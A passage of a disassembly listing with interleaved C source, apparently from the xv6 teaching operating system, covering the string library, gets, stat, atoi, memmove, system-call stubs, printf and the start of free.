6e0 <printf> continue; 336: 83 c4 10 add $0x10,%esp 339: e9 c2 fe ff ff jmp 200 <ls+0x100> 33e: 66 90 xchg %ax,%ax 00000340 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 340: 55 push %ebp 341: 89 e5 mov %esp,%ebp 343: 53 push %ebx 344: 8b 45 08 mov 0x8(%ebp),%eax 347: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 34a: 89 c2 mov %eax,%edx 34c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 350: 83 c1 01 add $0x1,%ecx 353: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 357: 83 c2 01 add $0x1,%edx 35a: 84 db test %bl,%bl 35c: 88 5a ff mov %bl,-0x1(%edx) 35f: 75 ef jne 350 <strcpy+0x10> ; return os; } 361: 5b pop %ebx 362: 5d pop %ebp 363: c3 ret 364: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 36a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000370 <strcmp>: int strcmp(const char *p, const char *q) { 370: 55 push %ebp 371: 89 e5 mov %esp,%ebp 373: 56 push %esi 374: 53 push %ebx 375: 8b 55 08 mov 0x8(%ebp),%edx 378: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 37b: 0f b6 02 movzbl (%edx),%eax 37e: 0f b6 19 movzbl (%ecx),%ebx 381: 84 c0 test %al,%al 383: 75 1e jne 3a3 <strcmp+0x33> 385: eb 29 jmp 3b0 <strcmp+0x40> 387: 89 f6 mov %esi,%esi 389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 390: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 393: 0f b6 02 movzbl (%edx),%eax p++, q++; 396: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 399: 0f b6 59 01 movzbl 0x1(%ecx),%ebx 39d: 84 c0 test %al,%al 39f: 74 0f je 3b0 <strcmp+0x40> 3a1: 89 f1 mov %esi,%ecx 3a3: 38 d8 cmp %bl,%al 3a5: 74 e9 je 390 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; 3a7: 29 d8 sub %ebx,%eax } 3a9: 5b pop %ebx 3aa: 5e pop %esi 3ab: 5d pop %ebp 3ac: c3 ret 3ad: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 3b0: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 3b2: 29 d8 sub %ebx,%eax } 3b4: 5b pop %ebx 3b5: 5e pop %esi 3b6: 5d pop %ebp 3b7: c3 ret 3b8: 90 nop 3b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000003c0 <strlen>: uint strlen(char *s) { 3c0: 55 push %ebp 3c1: 89 e5 mov %esp,%ebp 3c3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 3c6: 80 39 00 cmpb $0x0,(%ecx) 3c9: 74 12 je 3dd <strlen+0x1d> 3cb: 31 d2 xor %edx,%edx 3cd: 8d 76 00 lea 0x0(%esi),%esi 3d0: 83 c2 01 add $0x1,%edx 3d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 3d7: 89 d0 mov %edx,%eax 3d9: 75 f5 jne 3d0 <strlen+0x10> ; return n; } 3db: 5d pop %ebp 3dc: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) 3dd: 31 c0 xor %eax,%eax ; return n; } 3df: 5d pop %ebp 3e0: c3 ret 3e1: eb 0d jmp 3f0 <memset> 3e3: 90 nop 3e4: 90 nop 3e5: 90 nop 3e6: 90 nop 3e7: 90 nop 3e8: 90 nop 3e9: 90 nop 3ea: 90 nop 3eb: 90 nop 3ec: 90 nop 3ed: 90 nop 3ee: 90 nop 3ef: 90 nop 000003f0 <memset>: void* memset(void *dst, int c, uint n) { 3f0: 55 push %ebp 3f1: 89 e5 mov %esp,%ebp 3f3: 57 push %edi 3f4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 3f7: 8b 4d 10 mov 0x10(%ebp),%ecx 3fa: 8b 45 0c mov 0xc(%ebp),%eax 3fd: 89 d7 mov %edx,%edi 3ff: fc cld 400: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 402: 89 d0 mov %edx,%eax 404: 5f pop %edi 405: 5d pop %ebp 406: c3 ret 407: 89 f6 mov %esi,%esi 409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000410 <strchr>: char* strchr(const char *s, char c) { 410: 55 push %ebp 411: 89 e5 mov %esp,%ebp 413: 53 push %ebx 414: 8b 45 08 mov 0x8(%ebp),%eax 417: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 41a: 0f b6 10 movzbl (%eax),%edx 41d: 84 d2 test %dl,%dl 41f: 74 1d je 43e <strchr+0x2e> if(*s == c) 421: 38 d3 cmp %dl,%bl 423: 89 d9 mov %ebx,%ecx 425: 75 0d jne 434 <strchr+0x24> 427: eb 17 jmp 440 <strchr+0x30> 429: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 430: 38 ca cmp %cl,%dl 432: 74 0c je 440 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 434: 83 c0 01 add $0x1,%eax 437: 0f b6 10 movzbl (%eax),%edx 43a: 84 d2 test %dl,%dl 43c: 75 f2 jne 430 <strchr+0x20> if(*s == c) return (char*)s; return 0; 43e: 31 c0 xor %eax,%eax } 440: 5b pop %ebx 441: 5d pop %ebp 442: c3 ret 443: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 449: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000450 <gets>: char* gets(char *buf, int max) { 450: 55 push %ebp 451: 89 e5 mov %esp,%ebp 453: 57 push %edi 454: 56 push %esi 455: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 456: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 458: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 45b: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 45e: eb 29 jmp 489 <gets+0x39> cc = read(0, &c, 1); 460: 83 ec 04 sub $0x4,%esp 463: 6a 01 push $0x1 465: 57 push %edi 466: 6a 00 push $0x0 468: e8 2d 01 00 00 call 59a <read> if(cc < 1) 46d: 83 c4 10 add $0x10,%esp 470: 85 c0 test %eax,%eax 472: 7e 1d jle 491 <gets+0x41> break; buf[i++] = c; 474: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 478: 8b 55 08 mov 0x8(%ebp),%edx 47b: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 47d: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 47f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 483: 74 1b je 4a0 <gets+0x50> 485: 3c 0d cmp $0xd,%al 487: 74 17 je 4a0 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 489: 8d 5e 01 lea 0x1(%esi),%ebx 48c: 3b 5d 0c cmp 0xc(%ebp),%ebx 48f: 7c cf jl 460 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 491: 8b 45 08 mov 0x8(%ebp),%eax 494: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 498: 8d 65 f4 lea -0xc(%ebp),%esp 49b: 5b pop %ebx 49c: 5e pop %esi 49d: 5f pop %edi 49e: 5d pop %ebp 49f: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 4a0: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 4a3: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 4a5: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 4a9: 8d 65 f4 lea -0xc(%ebp),%esp 4ac: 5b pop %ebx 4ad: 5e pop %esi 4ae: 5f pop %edi 4af: 5d pop %ebp 4b0: c3 ret 4b1: eb 0d jmp 4c0 <stat> 4b3: 90 nop 4b4: 90 nop 4b5: 90 nop 4b6: 90 nop 4b7: 90 nop 4b8: 90 nop 4b9: 90 nop 4ba: 90 nop 4bb: 90 nop 4bc: 90 nop 4bd: 90 nop 4be: 90 nop 4bf: 90 nop 000004c0 <stat>: int stat(char *n, struct stat *st) { 4c0: 55 push %ebp 4c1: 89 e5 mov %esp,%ebp 4c3: 56 push %esi 4c4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 4c5: 83 ec 08 sub $0x8,%esp 4c8: 6a 00 push $0x0 4ca: ff 75 08 pushl 0x8(%ebp) 4cd: e8 f0 00 00 00 call 5c2 <open> if(fd < 0) 4d2: 83 c4 10 add $0x10,%esp 4d5: 85 c0 test %eax,%eax 4d7: 78 27 js 500 <stat+0x40> return -1; r = fstat(fd, st); 4d9: 83 ec 08 sub $0x8,%esp 4dc: ff 75 0c pushl 0xc(%ebp) 4df: 89 c3 mov %eax,%ebx 4e1: 50 push %eax 4e2: e8 f3 00 00 00 call 5da <fstat> 4e7: 89 c6 mov %eax,%esi close(fd); 4e9: 89 1c 24 mov %ebx,(%esp) 4ec: e8 b9 00 00 00 call 5aa <close> return r; 4f1: 83 c4 10 add $0x10,%esp 4f4: 89 f0 mov %esi,%eax } 4f6: 8d 65 f8 lea -0x8(%ebp),%esp 4f9: 5b pop %ebx 4fa: 5e pop %esi 4fb: 5d pop %ebp 4fc: c3 ret 4fd: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 500: b8 ff ff ff ff mov $0xffffffff,%eax 505: eb ef jmp 4f6 <stat+0x36> 507: 89 f6 mov %esi,%esi 509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000510 <atoi>: return r; } int atoi(const char *s) { 510: 55 push %ebp 511: 89 e5 mov %esp,%ebp 513: 53 push %ebx 514: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 517: 0f be 11 movsbl (%ecx),%edx 51a: 8d 42 d0 lea -0x30(%edx),%eax 51d: 3c 09 cmp $0x9,%al 51f: b8 00 00 00 00 mov $0x0,%eax 524: 77 1f ja 545 <atoi+0x35> 526: 8d 76 00 lea 0x0(%esi),%esi 529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 530: 8d 04 80 lea (%eax,%eax,4),%eax 533: 83 c1 01 add $0x1,%ecx 536: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 53a: 0f be 11 movsbl (%ecx),%edx 53d: 8d 5a d0 lea -0x30(%edx),%ebx 540: 80 fb 09 cmp $0x9,%bl 543: 76 eb jbe 530 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 545: 5b pop %ebx 546: 5d pop %ebp 547: c3 ret 548: 90 nop 549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000550 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 550: 55 push %ebp 551: 89 e5 mov %esp,%ebp 553: 56 push %esi 554: 53 push %ebx 555: 8b 5d 10 mov 0x10(%ebp),%ebx 558: 8b 45 08 mov 0x8(%ebp),%eax 55b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 55e: 85 db test %ebx,%ebx 560: 7e 14 jle 576 <memmove+0x26> 562: 31 d2 xor %edx,%edx 564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 568: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 56c: 88 0c 10 mov %cl,(%eax,%edx,1) 56f: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 572: 39 da cmp %ebx,%edx 574: 75 f2 jne 568 <memmove+0x18> *dst++ = *src++; return vdst; } 576: 5b pop %ebx 577: 5e pop %esi 578: 5d pop %ebp 579: c3 ret 0000057a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 57a: b8 01 00 00 00 mov $0x1,%eax 57f: cd 40 int $0x40 581: c3 ret 00000582 <exit>: SYSCALL(exit) 582: b8 02 00 00 00 mov $0x2,%eax 587: cd 40 int $0x40 589: c3 ret 0000058a <wait>: SYSCALL(wait) 58a: b8 03 00 00 00 mov $0x3,%eax 58f: cd 40 int $0x40 591: c3 ret 00000592 <pipe>: SYSCALL(pipe) 592: b8 04 00 00 00 mov $0x4,%eax 597: cd 40 int $0x40 599: c3 ret 0000059a <read>: SYSCALL(read) 59a: b8 05 00 00 00 mov $0x5,%eax 59f: cd 40 int $0x40 5a1: c3 ret 000005a2 <write>: SYSCALL(write) 5a2: b8 10 00 00 00 mov $0x10,%eax 5a7: cd 40 int $0x40 5a9: c3 ret 000005aa <close>: SYSCALL(close) 5aa: b8 15 00 00 00 mov $0x15,%eax 5af: cd 40 int $0x40 5b1: c3 ret 000005b2 <kill>: SYSCALL(kill) 5b2: b8 06 00 00 00 mov $0x6,%eax 5b7: cd 40 int $0x40 5b9: c3 ret 000005ba <exec>: SYSCALL(exec) 5ba: b8 07 00 00 00 mov $0x7,%eax 5bf: cd 40 int $0x40 5c1: c3 ret 000005c2 <open>: SYSCALL(open) 5c2: b8 0f 00 00 00 mov $0xf,%eax 5c7: cd 40 int $0x40 5c9: c3 ret 000005ca <mknod>: SYSCALL(mknod) 5ca: b8 11 00 00 00 mov $0x11,%eax 5cf: cd 40 int $0x40 5d1: c3 ret 000005d2 <unlink>: SYSCALL(unlink) 5d2: b8 12 00 00 00 mov $0x12,%eax 5d7: cd 40 int $0x40 5d9: c3 ret 000005da <fstat>: SYSCALL(fstat) 5da: b8 08 00 00 00 mov $0x8,%eax 5df: cd 40 int $0x40 5e1: c3 ret 000005e2 <link>: SYSCALL(link) 5e2: b8 13 00 00 00 mov $0x13,%eax 5e7: cd 40 int $0x40 5e9: c3 ret 000005ea <mkdir>: SYSCALL(mkdir) 5ea: b8 14 00 00 00 mov $0x14,%eax 5ef: cd 40 int $0x40 5f1: c3 ret 000005f2 <chdir>: SYSCALL(chdir) 5f2: b8 09 00 00 00 mov $0x9,%eax 5f7: cd 40 int $0x40 5f9: c3 ret 000005fa <dup>: SYSCALL(dup) 5fa: b8 0a 00 00 00 mov $0xa,%eax 5ff: cd 40 int $0x40 601: c3 ret 00000602 <getpid>: SYSCALL(getpid) 602: b8 0b 00 00 00 mov $0xb,%eax 607: cd 40 int $0x40 609: c3 ret 0000060a <sbrk>: SYSCALL(sbrk) 60a: b8 0c 00 00 00 mov $0xc,%eax 60f: cd 40 int $0x40 611: c3 ret 00000612 <sleep>: SYSCALL(sleep) 612: b8 0d 00 00 00 mov $0xd,%eax 617: cd 40 int $0x40 619: c3 ret 0000061a <uptime>: SYSCALL(uptime) 61a: b8 0e 00 00 00 mov $0xe,%eax 61f: cd 40 int $0x40 621: c3 ret 00000622 <bstat>: SYSCALL(bstat) 622: b8 16 00 00 00 mov $0x16,%eax 627: cd 40 int $0x40 629: c3 ret 0000062a <swap>: SYSCALL(swap) 62a: b8 17 00 00 00 mov $0x17,%eax 62f: cd 40 int $0x40 631: c3 ret 632: 66 90 xchg %ax,%ax 634: 66 90 xchg %ax,%ax 636: 66 90 xchg %ax,%ax 638: 66 90 xchg %ax,%ax 63a: 66 90 xchg %ax,%ax 63c: 66 90 xchg %ax,%ax 63e: 66 90 xchg %ax,%ax 00000640 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 640: 55 push %ebp 641: 89 e5 mov %esp,%ebp 643: 57 push %edi 644: 56 push %esi 645: 53 push %ebx 646: 89 c6 mov %eax,%esi 648: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 64b: 8b 5d 08 mov 0x8(%ebp),%ebx 64e: 85 db test %ebx,%ebx 650: 74 7e je 6d0 <printint+0x90> 652: 89 d0 mov %edx,%eax 654: c1 e8 1f shr $0x1f,%eax 657: 84 c0 test %al,%al 659: 74 75 je 6d0 <printint+0x90> neg = 1; x = -xx; 65b: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 65d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; 664: f7 d8 neg %eax 666: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; 669: 31 ff xor %edi,%edi 66b: 8d 5d d7 lea -0x29(%ebp),%ebx 66e: 89 ce mov %ecx,%esi 670: eb 08 jmp 67a <printint+0x3a> 672: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 678: 89 cf mov %ecx,%edi 67a: 31 d2 xor %edx,%edx 67c: 8d 4f 01 lea 0x1(%edi),%ecx 67f: f7 f6 div %esi 681: 0f b6 92 54 0a 00 00 movzbl 0xa54(%edx),%edx }while((x /= base) != 0); 688: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 68a: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 68d: 75 e9 jne 678 <printint+0x38> if(neg) 68f: 8b 45 c4 mov -0x3c(%ebp),%eax 692: 8b 75 c0 mov -0x40(%ebp),%esi 695: 85 c0 test %eax,%eax 697: 74 08 je 6a1 <printint+0x61> buf[i++] = '-'; 699: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 69e: 8d 4f 02 lea 0x2(%edi),%ecx 6a1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi 6a5: 8d 76 00 lea 0x0(%esi),%esi 6a8: 0f b6 07 movzbl (%edi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 6ab: 83 ec 04 sub $0x4,%esp 6ae: 83 ef 01 sub $0x1,%edi 6b1: 6a 01 push $0x1 6b3: 53 push %ebx 6b4: 56 push %esi 6b5: 88 45 d7 mov %al,-0x29(%ebp) 6b8: e8 e5 fe ff ff call 5a2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 6bd: 83 c4 10 add $0x10,%esp 6c0: 39 df cmp %ebx,%edi 6c2: 75 e4 jne 6a8 <printint+0x68> putc(fd, buf[i]); } 6c4: 8d 65 f4 lea -0xc(%ebp),%esp 6c7: 5b pop %ebx 6c8: 5e pop %esi 6c9: 5f pop %edi 6ca: 5d pop %ebp 6cb: c3 ret 6cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 6d0: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 6d2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 6d9: eb 8b jmp 666 <printint+0x26> 6db: 90 nop 6dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000006e0 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 6e0: 55 push %ebp 6e1: 89 e5 mov %esp,%ebp 6e3: 57 push %edi 6e4: 56 push %esi 6e5: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 6e6: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 6e9: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 6ec: 8b 75 0c mov 0xc(%ebp),%esi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 6ef: 8b 7d 08 mov 0x8(%ebp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 6f2: 89 45 d0 mov %eax,-0x30(%ebp) 6f5: 0f b6 1e movzbl (%esi),%ebx 6f8: 83 c6 01 add $0x1,%esi 6fb: 84 db test %bl,%bl 6fd: 0f 84 b0 00 00 00 je 7b3 <printf+0xd3> 703: 31 d2 xor %edx,%edx 705: eb 39 jmp 740 <printf+0x60> 707: 89 f6 mov %esi,%esi 709: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 710: 83 f8 25 cmp $0x25,%eax 713: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 716: ba 25 00 00 00 mov $0x25,%edx state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 71b: 74 18 je 735 <printf+0x55> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 71d: 8d 45 e2 lea -0x1e(%ebp),%eax 720: 83 ec 04 sub $0x4,%esp 723: 88 5d e2 mov %bl,-0x1e(%ebp) 726: 6a 01 push $0x1 728: 50 push %eax 729: 57 push %edi 72a: e8 73 fe ff ff call 5a2 <write> 72f: 8b 55 d4 mov -0x2c(%ebp),%edx 732: 83 c4 10 add $0x10,%esp 735: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 738: 0f b6 5e ff movzbl -0x1(%esi),%ebx 73c: 84 db test %bl,%bl 73e: 74 73 je 7b3 <printf+0xd3> c = fmt[i] & 0xff; if(state == 0){ 740: 85 d2 test %edx,%edx uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 742: 0f be cb movsbl %bl,%ecx 745: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 748: 74 c6 je 710 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 74a: 83 fa 25 cmp $0x25,%edx 74d: 75 e6 jne 735 <printf+0x55> if(c == 'd'){ 74f: 83 f8 64 cmp $0x64,%eax 752: 0f 84 f8 00 00 00 je 850 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 758: 81 e1 f7 00 00 00 and $0xf7,%ecx 75e: 83 f9 70 cmp $0x70,%ecx 761: 74 5d je 7c0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 763: 83 f8 73 cmp $0x73,%eax 766: 0f 84 84 00 00 00 je 7f0 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 76c: 83 f8 63 cmp $0x63,%eax 76f: 0f 84 ea 00 00 00 je 85f <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ 775: 83 f8 25 cmp $0x25,%eax 778: 0f 84 c2 00 00 00 je 840 <printf+0x160> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 77e: 8d 45 e7 lea -0x19(%ebp),%eax 781: 83 ec 04 sub $0x4,%esp 784: c6 45 e7 25 movb $0x25,-0x19(%ebp) 788: 6a 01 push $0x1 78a: 50 push %eax 78b: 57 push %edi 78c: e8 11 fe ff ff call 5a2 <write> 791: 83 c4 0c add $0xc,%esp 794: 8d 45 e6 lea -0x1a(%ebp),%eax 797: 88 5d e6 mov %bl,-0x1a(%ebp) 79a: 6a 01 push $0x1 79c: 50 push %eax 79d: 57 push %edi 79e: 83 c6 01 add $0x1,%esi 7a1: e8 fc fd ff ff call 5a2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 7a6: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 7aa: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 7ad: 31 d2 xor %edx,%edx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 7af: 84 db test %bl,%bl 7b1: 75 8d jne 740 <printf+0x60> putc(fd, c); } state = 0; } } } 7b3: 8d 65 f4 lea -0xc(%ebp),%esp 7b6: 5b pop %ebx 7b7: 5e pop %esi 7b8: 5f pop %edi 7b9: 5d pop %ebp 7ba: c3 ret 7bb: 90 nop 7bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 7c0: 83 ec 0c sub $0xc,%esp 7c3: b9 10 00 00 00 mov $0x10,%ecx 7c8: 6a 00 push $0x0 7ca: 8b 5d d0 mov -0x30(%ebp),%ebx 7cd: 89 f8 mov %edi,%eax 7cf: 8b 13 mov (%ebx),%edx 7d1: e8 6a fe ff ff call 640 <printint> ap++; 7d6: 89 d8 mov %ebx,%eax 7d8: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 7db: 31 d2 xor %edx,%edx if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 7dd: 83 c0 04 add $0x4,%eax 7e0: 89 45 d0 mov %eax,-0x30(%ebp) 7e3: e9 4d ff ff ff jmp 735 <printf+0x55> 7e8: 90 nop 7e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 7f0: 8b 45 d0 mov -0x30(%ebp),%eax 7f3: 8b 18 mov (%eax),%ebx ap++; 7f5: 83 c0 04 add $0x4,%eax 7f8: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) s = "(null)"; 7fb: b8 4a 0a 00 00 mov $0xa4a,%eax 800: 85 db test %ebx,%ebx 802: 0f 44 d8 cmove %eax,%ebx while(*s != 0){ 805: 0f b6 03 movzbl (%ebx),%eax 808: 84 c0 test %al,%al 80a: 74 23 je 82f <printf+0x14f> 80c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 810: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 813: 8d 45 e3 lea -0x1d(%ebp),%eax 816: 83 ec 04 sub $0x4,%esp 819: 6a 01 push $0x1 ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 81b: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 81e: 50 push %eax 81f: 57 push %edi 820: e8 7d fd ff ff call 5a2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 825: 0f b6 03 movzbl (%ebx),%eax 828: 83 c4 10 add $0x10,%esp 82b: 84 c0 test %al,%al 82d: 75 e1 jne 810 <printf+0x130> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 82f: 31 d2 xor %edx,%edx 831: e9 ff fe ff ff jmp 735 <printf+0x55> 836: 8d 76 00 lea 0x0(%esi),%esi 839: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 840: 83 ec 04 sub $0x4,%esp 843: 88 5d e5 mov %bl,-0x1b(%ebp) 846: 8d 45 e5 lea -0x1b(%ebp),%eax 849: 6a 01 push $0x1 84b: e9 4c ff ff ff jmp 79c <printf+0xbc> } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 850: 83 ec 0c sub $0xc,%esp 853: b9 0a 00 00 00 mov $0xa,%ecx 858: 6a 01 push $0x1 85a: e9 6b ff ff ff jmp 7ca <printf+0xea> 85f: 8b 5d d0 mov -0x30(%ebp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 862: 83 ec 04 sub $0x4,%esp 865: 8b 03 mov (%ebx),%eax 867: 6a 01 push $0x1 869: 88 45 e4 mov %al,-0x1c(%ebp) 86c: 8d 45 e4 lea -0x1c(%ebp),%eax 86f: 50 push %eax 870: 57 push %edi 871: e8 2c fd ff ff call 5a2 <write> 876: e9 5b ff ff ff jmp 7d6 <printf+0xf6> 87b: 66 90 xchg %ax,%ax 87d: 66 90 xchg %ax,%ax 87f: 90 nop 00000880 <free>: static Header base; static Header *freep; void free(void *ap) { 880: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 881: a1 70 0d 00 00 mov 0xd70,%eax static Header base; static Header *freep; void free(void *ap) { 886: 89 e5 mov %esp,%ebp 888: 57 push %edi 889: 56 push %esi 88a: 53 push %ebx 88b: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 